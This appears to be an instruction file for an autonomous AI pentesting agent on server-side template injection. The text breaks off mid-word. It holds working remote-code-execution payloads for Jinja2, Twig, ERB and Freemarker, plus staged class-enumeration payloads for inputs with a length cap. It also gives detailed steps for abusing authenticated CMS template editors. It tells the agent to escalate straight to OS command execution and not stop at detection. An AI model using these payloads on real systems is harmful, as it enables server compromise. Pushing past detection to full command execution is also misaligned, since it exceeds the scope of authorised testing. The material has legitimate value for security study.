/hunt-ssti

name: hunt-ssti
description: "Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render."
sources: hackerone_public, cve_database, public_research
report_count: 6

Autonomous Testing Priority

**Escalate straight to RCE — don't stop at arithmetic detection.**

Arithmetic probes (`{{7*7}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{7*7}}">`), producing a false negative even when injection exists.

**Order of attack:** 1. **Try Jinja2 RCE first** (covers Python/Flask — the most common stack in modern web apps):

   {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

2. **If the endpoint is a traditional web form**, send as form-encoded body — NOT JSON:

   Content-Type: application/x-www-form-urlencoded
   field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}

JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing). 3. **If Jinja2 fails**, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}` 4. **Fall back to arithmetic detection** only to fingerprint the engine when RCE payloads fail.

**Proof:** Command output (`uid=N(user) gid=...`) in the response confirms RCE. If the output appears in HTML (inside a `<div>` or `<pre>`), that still counts — the format is irrelevant, the content is the evidence.

---

14. SSTI — SERVER-SIDE TEMPLATE INJECTION

> Easy to detect, high payout ($2K–$8K). Direct path to RCE.

Detection Payloads (try all)

{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.

RCE Payloads

**Jinja2 (Python/Flask):**

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

**Twig (PHP/Symfony):**

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

**ERB (Ruby):**

<%= `id` %>

Length-constrained injection fields (profile name, display name, subject)

When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full `os.popen` one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:

{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}

The reflected sink is frequently an **outbound email** (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).

Where to Test

Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected

CMS / "documentation" template-editor forms (authenticated)

Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template preview). PortSwigger's *"SSTI using documentation"* class is this shape. Three things break a naive attempt:

1. **Fingerprint BEFORE firing RCE — the engine decides the syntax.** Do NOT assume Jinja2. Probe the whole matrix and read which one evaluates:

   ${7*7}  → 49  AND  #{7*7} → 49   ⇒ Freemarker (Java)   ← {{7*7}} does NOTHING here
   {{7*7}} → 49                      ⇒ Jinja2 / Twig
   <%= 7*7 %> → 49                   ⇒ ERB (Ruby)
   *{7*7}  → 49                      ⇒ Thymeleaf (Spring)

If `{{7*7}}` renders literally but `${7*7}`→49, you are on **Freemarker** — stop sending `{{config...}}`.

2. **The record id is usually a QUERY param, not a body field.** The editor form posts back to `POST /…/template?productId=N` with the id in the URL. The BODY carries only `csrf`, `template`, and a `template-action` (`preview` | `save`). Putting the id in the body returns `400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a form-encoded body of `csrf=…&template=<PAYLOAD>&template-action=preview`.

3. **Re-fetch the CSRF each time and use `preview` to iterate.** GET the editor page to read a *fresh* `csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback loop). Switch to `template-action=save` only once the payload is right, then trigger the render (load the public page that uses the template) to fire the command.

**Freemarker documentation RCE** (the documented `Execute` utility — this IS the intended technique):

   <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

Velocity e